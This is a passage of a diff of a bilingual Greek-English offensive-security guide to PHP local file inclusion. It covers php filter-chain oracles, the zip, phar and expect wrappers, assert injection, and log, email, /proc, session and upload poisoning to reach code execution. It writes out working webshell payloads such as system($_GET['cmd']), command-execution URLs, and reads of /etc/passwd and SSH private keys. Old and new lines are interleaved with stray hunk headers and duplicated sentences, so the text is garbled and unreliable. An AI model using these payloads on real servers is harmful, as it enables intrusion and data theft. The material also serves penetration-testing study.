- Και για να μπορέσουμε να πάρουμε **περαιτέρω δεδομένα** η ιδέα είναι να **παράγουμε 2 bytes junk data στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** για να τα κάνουμε **pivot με τα επόμενα 2 bytes**, και d**elete the data until the junk data** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίζετε έτσι μέχρι να φτάσετε στο επιθυμητό κομμάτι για leak.
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
- Αυτό θα χρησιμοποιηθεί για να δημιουργήσει ένα **κείμενο τόσο μεγάλο όταν ο αρχικός χαρακτήρας μαντευτεί σωστά** που το php θα προκαλέσει ένα **σφάλμα**
- Ο φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος char δεν είναι hex**, οπότε μπορούμε να ξέρουμε αν ο πρώτος char είναι hex.
- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλους filters ανάλογα με το μαντεμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε εφαρμόζοντας αρκετές μετασχηματίσεις γίνεται να μην είναι πλέον hexadecimal χαρακτήρας. Επειδή αν είναι hex, ο dechunk δεν θα το διαγράψει και η αρχική βόμβα θα κάνει php error.
- Ο codec **convert.iconv.UNICODE.CP930** μετασχηματίζει κάθε γράμμα στο επόμενο (οπότε μετά από αυτόν τον codec: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν ο πρώτος χαρακτήρας είναι `a` για παράδειγμα γιατί αν εφαρμόσουμε 6 από αυτόν τον codec a->b->c->d->e->f->g το γράμμα δεν είναι πλέον hexadecimal χαρακτήρας, επομένως ο dechunk δεν το διαγράφει και το php error ενεργοποιείται επειδή πολλαπλασιάζεται με την αρχική βόμβα.
- Χρησιμοποιώντας άλλους μετασχηματισμούς όπως **rot13** στην αρχή είναι δυνατό να leak άλλους chars όπως n, o, p, q, r (και άλλοι codecs μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στο hex range).
- Όταν ο αρχικός char είναι αριθμός χρειάζεται να γίνει base64 encode και να leak οι 2 πρώτοι χαρακτήρες για να leak τον αριθμό.
- Το τελικό πρόβλημα είναι να δούμε **πώς να leak περισσότερα από το αρχικό γράμμα**. Χρησιμοποιώντας order memory filters όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατό να αλλάξεις τη σειρά των chars και να φέρεις στην πρώτη θέση άλλα γράμματα του κειμένου.
- Και για να μπορέσουμε να αποκτήσουμε **further data** η ιδέα είναι να **παράγουμε 2 bytes junk data στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** για να το **pivot με τα επόμενα 2 bytes**, και να **delete τα δεδομένα μέχρι τα junk data** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε έτσι μέχρι να φτάσετε στο επιθυμητό bit για να leak.
Στο άρθρο διατέθηκε επίσης ένα εργαλείο για αυτόματη εκτέλεση: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
Αυτό το wrapper επιτρέπει την πρόσβαση σε file descriptors που η διεργασία έχει ανοιχτά. Ενδεχομένως χρήσιμο για exfiltrate το περιεχόμενο ανοιχτών αρχείων:
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Μπορείτε επίσης να χρησιμοποιήσετε **php://stdin, php://stdout and php://stderr** για να αποκτήσετε πρόσβαση στα **file descriptors 0, 1 and 2** αντίστοιχα (δεν είναι σαφές πώς αυτό θα μπορούσε να είναι χρήσιμο σε μια επίθεση)
Μπορείτε επίσης να χρησιμοποιήσετε **php://stdin, php://stdout και php://stderr** για να αποκτήσετε πρόσβαση στους **περιγραφείς αρχείων 0, 1 και 2** αντίστοιχα (δεν είμαι σίγουρος/η πώς αυτό θα μπορούσε να είναι χρήσιμο σε μια επίθεση)
### zip:// and rar://
Ανεβάστε ένα Zip ή Rar αρχείο με ένα PHPShell μέσα και αποκτήστε πρόσβαση σε αυτό.\
Για να μπορείτε να εκμεταλλευτείτε το rar protocol, αυτό **πρέπει να ενεργοποιηθεί συγκεκριμένα**.
Ανέβασε ένα αρχείο Zip ή Rar με ένα PHPShell μέσα και πρόσβασέ το.\
Για να είναι δυνατή η κατάχρηση του πρωτοκόλλου rar, αυτό **πρέπει να ενεργοποιηθεί ειδικά**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -332,7 +332,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
### expect://
Το Expect πρέπει να είναι ενεργοποιημένο. Μπορείτε να εκτελέσετε κώδικα χρησιμοποιώντας το εξής:
Το Expect πρέπει να είναι ενεργοποιημένο. Μπορείτε να εκτελέσετε κώδικα χρησιμοποιώντας αυτό:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
```
### phar://
Ένα αρχείο `.phar` μπορεί να χρησιμοποιηθεί για την εκτέλεση κώδικα PHP όταν μια web εφαρμογή αξιοποιεί συναρτήσεις όπως `include` για τη φόρτωση αρχείων. Το παράδειγμα κώδικα PHP που ακολουθεί δείχνει τη δημιουργία ενός αρχείου `.phar`:
Ένα αρχείο `.phar` μπορεί να χρησιμοποιηθεί για την εκτέλεση PHP κώδικα όταν μια web εφαρμογή αξιοποιεί συναρτήσεις όπως η `include` για τη φόρτωση αρχείων. Το παρακάτω απόσπασμα κώδικα PHP δείχνει τη δημιουργία ενός αρχείου `.phar`:
```php
<?php
$phar = new Phar('test.phar');
@ -354,13 +354,15 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Για να μεταγλωττιστεί το αρχείο `.phar`, πρέπει να εκτελεστεί η ακόλουθη εντολή:
Για να δημιουργηθεί το αρχείο `.phar`, πρέπει να εκτελεστεί η ακόλουθη εντολή:
```bash
php --define phar.readonly=0 create_path.php
```
Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με όνομα `test.phar`, το οποίο ενδέχεται να αξιοποιηθεί για να εκμεταλλευτεί ευπάθειες Local File Inclusion (LFI).
Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με όνομα `test.phar`, το οποίο θα μπορούσε ενδεχομένως να αξιοποιηθεί για την εκμετάλλευση ευπαθειών Local File Inclusion (LFI).
Σε περιπτώσεις όπου το LFI απλώς διαβάζει αρχεία χωρίς να εκτελεί τον PHP κώδικα εντός, μέσω συναρτήσεων όπως `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ή `filesize()`, μπορεί να επιχειρηθεί εκμετάλλευση ευπάθειας απο-σειριοποίησης. Αυτή η ευπάθεια συνδέεται με το διάβασμα αρχείων χρησιμοποιώντας το πρωτόκολλο `phar`.
Σε περιπτώσεις όπου το LFI μόνο διαβάζει αρχεία χωρίς να εκτελεί τον PHP κώδικα που περιέχουν, μέσω συναρτήσεων όπως `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ή `filesize()`, μπορεί να επιχειρηθεί εκμετάλλευση μιας deserialization vulnerability. Αυτή η ευπάθεια σχετίζεται με το διάβασμα αρχείων χρησιμοποιώντας το πρωτόκολλο `phar`.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -371,36 +373,36 @@ phar-deserialization.md
### CVE-2024-2961
Ήταν δυνατό να καταχραστεί **οποιοδήποτε αυθαίρετο αρχείο που διαβάζεται από PHP και υποστηρίζει php filters** για να αποκτηθεί RCE. Η λεπτομερής περιγραφή μπορεί να [**βρεθεί σε αυτό το post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Πολύ σύντομη περίληψη: μια **3 byte overflow** στο PHP heap εκμεταλλεύτηκε για να **αλλάξει την αλυσίδα των free chunks** συγκεκριμένου μεγέθους ώστε να είναι δυνατή η **γραφή οτιδήποτε σε οποιαδήποτε διεύθυνση**, οπότε προστέθηκε ένα hook για την κλήση της **`system`**.\
Ήταν δυνατό να διατεθούν chunks συγκεκριμένων μεγεθών εκμεταλλευόμενοι περισσότερα php filters.
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
It was possible to alloc chunks of specific sizes abusing more php filters.
### More protocols
Ελέγξτε περισσότερα πιθανά[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Γράφει στη μνήμη ή σε ένα προσωρινό αρχείο (δεν είμαι σίγουρος πώς αυτό μπορεί να είναι χρήσιμο σε μια file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Πρόσβαση στο local filesystem
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Εγγραφή στη μνήμη ή σε προσωρινό αρχείο (δεν είναι σαφές πώς αυτό μπορεί να είναι χρήσιμο σε μια file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Πρόσβαση στο τοπικό filesystem
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Πρόσβαση σε HTTP(s) URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Πρόσβαση σε FTP(s) URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Εύρεση ονομάτων διαδρομών που ταιριάζουν με μοτίβο (Δεν επιστρέφει κάτι εκτυπώσιμο, οπότε δεν είναι ιδιαίτερα χρήσιμο εδώ)
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Εύρεση μονοπατιών που ταιριάζουν με πρότυπο (Δεν επιστρέφει τίποτα εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Δεν είναι χρήσιμο για το διάβασμα αυθαίρετων αρχείων)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Δεν είναι χρήσιμο για την ανάγνωση arbitrary files)
## LFI via PHP's 'assert'
Οι κίνδυνοι Local File Inclusion (LFI) στο PHP είναι ιδιαίτερα υψηλοί όταν χρησιμοποιείται η συνάρτηση 'assert', η οποία μπορεί να εκτελέσει κώδικα μέσα σε strings. Αυτό είναι ιδιαίτερα προβληματικό εάν γίνεται έλεγχος εισόδου που περιέχει χαρακτήρες directory traversal όπως ".." αλλά δεν γίνεται σωστή απολύμανση.
Οι κίνδυνοι από Local File Inclusion (LFI) στο PHP είναι ιδιαίτερα υψηλοί όταν υπάρχει η συνάρτηση 'assert', η οποία μπορεί να εκτελέσει κώδικα μέσα σε strings. Αυτό είναι ιδιαίτερα προβληματικό εάν γίνει έλεγχος σε είσοδο που περιέχει χαρακτήρες directory traversal όπως ".." αλλά δεν γίνεται σωστή απολύμανση.
Για παράδειγμα, ο PHP κώδικας μπορεί να έχει σχεδιαστεί για να αποτρέπει το directory traversal ως εξής:
For example, PHP code might be designed to prevent directory traversal like so:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Ενώ αυτό στοχεύει στο να αποτρέψει το traversal, δημιουργεί κατά λάθος ένα διάνυσμα για code injection. Για να το εκμεταλλευτεί για να διαβάσει το περιεχόμενο αρχείων, ένας attacker θα μπορούσε να χρησιμοποιήσει:
Ενώ αυτό στοχεύει στο να σταματήσει το traversal, δημιουργεί ακούσια ένα vector για code injection. Για να το exploit για την ανάγνωση του περιεχομένου ενός αρχείου, ένας attacker θα μπορούσε να χρησιμοποιήσει:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Ομοίως, για την εκτέλεση αυθαίρετων system commands, κάποιος μπορεί να χρησιμοποιήσει:
Παρομοίως, για την εκτέλεση αυθαίρετων εντολών συστήματος, κάποιος μπορεί να χρησιμοποιήσει:
```plaintext
' and die(system("id")) or '
```
@ -409,17 +411,17 @@ It's important to **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου **control** το **file path** μιας **PHP function** που θα **access a file** αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση σε **`file()`**) αφού το περιεχόμενο δεν εμφανίζεται.
> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου εσείς **ελέγχετε** τη **διαδρομή αρχείου** μιας **PHP function** που θα **αποκτήσει πρόσβαση σε ένα αρχείο**, αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση σε **`file()`**) καθώς το περιεχόμενο δεν εμφανίζεται.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) εξηγείται πώς ένα blind path traversal μπορεί να καταχραστεί μέσω PHP filter για να **exfiltrate the content of a file via an error oracle**.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
Συνοπτικά, η τεχνική χρησιμοποιεί την κωδικοποίηση **"UCS-4LE"** ώστε το περιεχόμενο ενός αρχείου να γίνει τόσο **big** που η **PHP function opening** το αρχείο θα προκαλέσει ένα **error**.
Συνοπτικά, η τεχνική χρησιμοποιεί την κωδικοποίηση **"UCS-4LE"** για να κάνει το περιεχόμενο ενός αρχείου τόσο **μεγάλο** που η **PHP function που ανοίγει** το αρχείο θα προκαλέσει ένα **error**.
Έπειτα, για να leak ο πρώτος χαρακτήρας χρησιμοποιείται το φίλτρο **`dechunk`** μαζί με άλλα όπως **base64** ή **rot13** και τελικά τα φίλτρα **convert.iconv.UCS-4.UCS-4LE** και **convert.iconv.UTF16.UTF-16BE** χρησιμοποιούνται για να **place other chars at the beggining and leak them**.
Στη συνέχεια, για να leak τον πρώτο χαρακτήρα χρησιμοποιείται το φίλτρο **`dechunk`** μαζί με άλλα όπως **base64** ή **rot13** και τελικά τα φίλτρα **convert.iconv.UCS-4.UCS-4LE** και **convert.iconv.UTF16.UTF-16BE** χρησιμοποιούνται για να **τοποθετήσουν άλλους χαρακτήρες στην αρχή και να τους leak**.
Συναρτήσεις που μπορεί να είναι ευάλωτες: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**Συναρτήσεις που μπορεί να είναι ευάλωτες**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Για τις τεχνικές λεπτομέρειες δείτε το προαναφερθέν post!
Για τεχνικές λεπτομέρειες δείτε το προαναφερθέν post!
## LFI2RCE
@ -428,17 +430,17 @@ In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filt
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Typical exploitation workflow:
- Εντοπίστε ένα write primitive σε ένα endpoint ή background worker που δέχεται ένα path/filename και γράφει περιεχόμενο στο δίσκο (π.χ. message-driven ingestion, XML/JSON command handlers, ZIP extractors, κ.λπ.).
- Determine web-exposed directories. Common examples:
- Εντοπίστε ένα write primitive σε ένα endpoint ή background worker που δέχεται ένα path/filename και γράφει περιεχόμενο στο δίσκο (π.χ. message-driven ingestion, XML/JSON command handlers, ZIP extractors, κτλ.).
- Προσδιορίστε web-exposed directories. Συνηθισμένα παραδείγματα:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Κατασκευάστε ένα traversal path που θα βγει από τον προορισμένο storage directory προς το webroot, και συμπεριλάβετε το webshell content σας.
- Σχεδιάστε μια traversal διαδρομή που θα σπάσει έξω από τον προοριζόμενο κατάλογο αποθήκευσης προς το webroot, και τοποθετήστε μέσα το περιεχόμενο της webshell σας.
- Περιηγηθείτε στο dropped payload και εκτελέστε εντολές.
Notes:
- Η ευάλωτη υπηρεσία που εκτελεί το write μπορεί να ακούει σε non-HTTP port (π.χ. ένας JMF XML listener σε TCP 4004). Το κύριο web portal (σε άλλη θύρα) θα σερβίρει αργότερα το payload σας.
- Σε Java stacks, αυτές οι εγγραφές αρχείων συχνά υλοποιούνται με απλή σύνδεση `File`/`Paths`. Η έλλειψη canonicalisation/allow-listing είναι το βασικό σφάλμα.
Σημειώσεις:
- Η ευάλωτη υπηρεσία που εκτελεί τη εγγραφή μπορεί να ακούει σε μια μη-HTTP θύρα (π.χ. ένας JMF XML listener στο TCP 4004). Το κύριο web portal (διαφορετική θύρα) θα σερβίρει αργότερα το payload σας.
- Στους Java stacks, αυτές οι εγγραφές αρχείων συχνά υλοποιούνται με απλή concatenation `File`/`Paths`. Η έλλειψη canonicalisation/allow-listing είναι το βασικό σφάλμα.
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@ -464,26 +466,26 @@ in.transferTo(out);
</Command>
</JMF>
```
Μέτρα σκληρύνσεως που αποτρέπουν αυτή την κατηγορία σφαλμάτων:
- Επίλυση σε canonical path και επιβολή ότι είναι απόγονος ενός allow-listed base directory.
- Απόρριψη οποιουδήποτε μονοπατιού που περιέχει `..`, απόλυτες ρίζες, ή drive letters· προτίμηση σε generated filenames.
- Τρέξτε τον writer ως λογαριασμό με χαμηλά δικαιώματα και διαχωρίστε τους καταλόγους εγγραφής από τα served roots.
Σκληροποίηση που εξουδετερώνει αυτή την κατηγορία σφαλμάτων:
- Επιλύστε σε canonical path και επιβάλετε ότι είναι απόγονος ενός allow-listed base directory.
- Απορρίψτε οποιοδήποτε path που περιέχει `..`, absolute roots, ή drive letters· προτιμήστε generated filenames.
- Τρέξτε τον writer ως low-privileged account και διαχωρίστε τους write directories από τα served roots.
## Remote File Inclusion
Εξηγήθηκε προηγουμένως, [**follow this link**](#remote-file-inclusion).
Explained previously, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file
### Μέσω Apache/Nginx log file
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
Εάν ο Apache ή ο Nginx server είναι **ευάλωτος σε LFI** μέσα στην include function μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στο **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, να βάλετε μέσα στο **user agent** ή σε ένα **GET parameter** ένα php shell όπως **`<?php system($_GET['c']); ?>`** και να συμπεριλάβετε αυτό το αρχείο
> [!WARNING]
> Σημειώστε ότι **εάν χρησιμοποιήσετε double quotes** για το shell αντί για **simple quotes**, τα double quotes θα τροποποιηθούν για τη συμβολοσειρά "_**quote;**_", **η PHP θα ρίξει σφάλμα** εκεί και **τίποτε άλλο δεν θα εκτελεστεί**.
> Σημειώστε ότι **εάν χρησιμοποιήσετε double quotes** για το shell αντί για **simple quotes**, τα double quotes θα τροποποιηθούν στη συμβολοσειρά "_**quote;**_", **PHP θα ρίξει σφάλμα** και **τίποτε άλλο δεν θα εκτελεστεί**.
>
> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά το payload** αλλιώς η PHP θα δίνει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.
> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά το payload** αλλιώς η PHP θα εμφανίζει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το log file και δεν θα έχετε δεύτερη ευκαιρία.
Αυτό μπορεί επίσης να γίνει σε άλλα αρχεία καταγραφής αλλά **προσέξτε,** ο κώδικας μέσα στα αρχεία καταγραφής μπορεί να είναι URL encoded και αυτό μπορεί να καταστρέψει το Shell. Το header **authorisation "basic"** περιέχει "user:password" σε Base64 και αυτό αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Το PHPShell μπορεί να εισαχθεί μέσα σε αυτό το header.\
Άλλες πιθανές διαδρομές αρχείων καταγραφής:
Αυτό μπορεί επίσης να γίνει σε άλλα logs αλλά **πρόσεχε,** ο κώδικας μέσα στα logs μπορεί να είναι URL encoded και αυτό μπορεί να καταστρέψει το Shell. Το header **authorisation "basic"** περιέχει "user:password" σε Base64 και αποκωδικοποιείται μέσα στα logs. Το PHPShell μπορεί να εισαχθεί μέσα σε αυτό το header.\
Other possible log paths:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -499,31 +501,31 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### Μέσω Email
**Αποστείλετε ένα mail** σε έναν εσωτερικό λογαριασμό (user@localhost) που περιέχει το PHP payload σας όπως `<?php echo system($_REQUEST["cmd"]); ?>` και δοκιμάστε να το include στο mail του χρήστη με μια διαδρομή όπως **`/var/mail/<USERNAME>`** ή **`/var/spool/mail/<USERNAME>`**
**Στείλε ένα mail** σε έναν εσωτερικό λογαριασμό (user@localhost) που περιέχει το PHP payload σου όπως `<?php echo system($_REQUEST["cmd"]); ?>` και προσπάθησε να κάνεις include το mail του χρήστη με διαδρομή όπως **`/var/mail/<USERNAME>`** ή **`/var/spool/mail/<USERNAME>`**
### Μέσω /proc/*/fd/*
### Μέσω /proc/\*/fd/\*
1. Ανεβάστε πολλά shells (για παράδειγμα: 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), με $PID = PID της διεργασίας (μπορεί να brute forced) και $FD ο file descriptor (μπορεί να brute forced επίσης)
1. Ανέβασε πολλά shells (π.χ.: 100)
2. Κάνε include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), με $PID = PID της διεργασίας (μπορεί να βρεθεί με brute force) και $FD το file descriptor (μπορεί επίσης να βρεθεί με brute force)
### Μέσω /proc/self/environ
Όπως σε ένα αρχείο καταγραφής, στείλτε το payload στο User-Agent — θα αντανακλάται μέσα στο αρχείο /proc/self/environ
Όπως ένα αρχείο καταγραφής, στείλε το payload στο User-Agent, θα αντικατοπτριστεί μέσα στο αρχείο /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Μέσω upload
### Via upload
Αν μπορείτε να upload ένα αρχείο, απλώς εισάγετε το shell payload σε αυτό (e.g : `<?php system($_GET['c']); ?>` ).
Αν μπορείς να upload ένα αρχείο, απλώς inject το shell payload σε αυτό (e.g : `<?php system($_GET['c']); ?>` ).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Για να διατηρηθεί το αρχείο αναγνώσιμο, είναι καλύτερο να inject στα metadata των εικόνων/doc/pdf
Για να διατηρηθεί το αρχείο αναγνώσιμο, είναι καλύτερο να ενσωματωθεί στα μεταδεδομένα των εικόνων/doc/pdf
### Μέσω ανέβασματος αρχείου ZIP
### Μέσω ZIP file upload
Ανέβασε ένα αρχείο ZIP που περιέχει έναν συμπιεσμένο PHP shell και πρόσβαση:
Ανεβάστε ένα ZIP αρχείο που περιέχει ένα συμπιεσμένο PHP shell και αποκτήστε πρόσβαση:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
@ -534,7 +536,7 @@ example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
Στο PHP αυτές οι sessions αποθηκεύονται σε _/var/lib/php5/sess\\_\[PHPSESSID]\_ αρχεία
Στο PHP αυτές οι συνεδρίες αποθηκεύονται σε αρχεία _/var/lib/php5/sess\\_\[PHPSESSID]\_
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -549,18 +551,18 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
```
### Μέσω ssh
Εάν το ssh είναι ενεργό έλεγξε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και προσπάθησε να έχεις πρόσβαση στο **\<HOME>/.ssh/id_rsa**
Αν το ssh είναι ενεργό, ελέγξτε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και προσπαθήστε να αποκτήσετε πρόσβαση στο **\<HOME>/.ssh/id_rsa**
### **Μέσω** **vsftpd** _**logs**_
Τα logs για τον FTP server vsftpd βρίσκονται στο _**/var/log/vsftpd.log**_. Στο σενάριο όπου υπάρχει ευπάθεια Local File Inclusion (LFI) και είναι δυνατή η πρόσβαση σε έναν εκτεθειμένο vsftpd server, μπορούν να εξεταστούν τα παρακάτω βήματα:
Τα logs του FTP server vsftpd βρίσκονται στο _**/var/log/vsftpd.log**_. Στην περίπτωση όπου υπάρχει ευπάθεια Local File Inclusion (LFI) και είναι δυνατή η πρόσβαση σε έναν εκτεθειμένο vsftpd server, μπορούν να θεωρηθούν οι ακόλουθες ενέργειες:
1. Ενέχυσέ ένα PHP payload στο πεδίο username κατά τη διαδικασία σύνδεσης.
2. Μετά την έγχυση, χρησιμοποίησε το LFI για να ανακτήσεις τα server logs από _**/var/log/vsftpd.log**_.
1. Εισάγετε ένα PHP payload στο πεδίο username κατά τη διαδικασία σύνδεσης.
2. Μετά την έγχυση, χρησιμοποιήστε το LFI για να ανακτήσετε τα server logs από _**/var/log/vsftpd.log**_.
### Μέσω php base64 filter (using base64)
Όπως δείχνει [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter απλά αγνοεί μη-base64 χαρακτήρες. Μπορείς να το χρησιμοποιήσεις για να παρακάμψεις τον έλεγχο επέκτασης αρχείου: εάν παρέχεις base64 που τελειώνει με ".php", το φίλτρο θα αγνοήσει το "." και θα προσθέσει "php" στο base64. Εδώ είναι ένα παράδειγμα payload:
Όπως φαίνεται στο [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) άρθρο, το PHP base64 filter αγνοεί τους μη-base64 χαρακτήρες. Μπορείτε να το χρησιμοποιήσετε για να παρακάμψετε τον έλεγχο επέκτασης αρχείου: αν παρέχετε base64 που τελειώνει με ".php", θα αγνοήσει το "." και θα προσθέσει "php" στο base64. Εδώ ένα παράδειγμα payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -568,7 +570,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Μέσω php filters (δεν απαιτείται αρχείο)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters to generate arbitrary content** ως έξοδο. Αυτό ουσιαστικά σημαίνει ότι μπορείτε να **generate arbitrary php code** για το include **χωρίς να χρειάζεται να το γράψετε** σε αρχείο.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο** ως έξοδο. Το οποίο ουσιαστικά σημαίνει ότι μπορείτε να **generate arbitrary php code** για το include **χωρίς να χρειαστεί να το γράψετε** σε αρχείο.
{{#ref}}
@ -577,14 +579,14 @@ lfi2rce-via-php-filters.md
### Μέσω segmentation fault
**Ανεβάστε** ένα αρχείο που θα αποθηκευτεί ως **προσωρινό** στο `/tmp`, τότε στην **ίδια αίτηση** προκαλέστε ένα **segmentation fault**, και τότε το **προσωρινό αρχείο δεν θα διαγραφεί** και μπορείτε να το αναζητήσετε.
**Μεταφορτώστε** ένα αρχείο που θα αποθηκευτεί ως **προσωρινό** στο `/tmp`, στη συνέχεια στην **ίδια αίτηση,** προκαλέστε ένα **segmentation fault**, και τότε το **προσωρινό αρχείο δεν θα διαγραφεί** και μπορείτε να το αναζητήσετε.
{{#ref}}
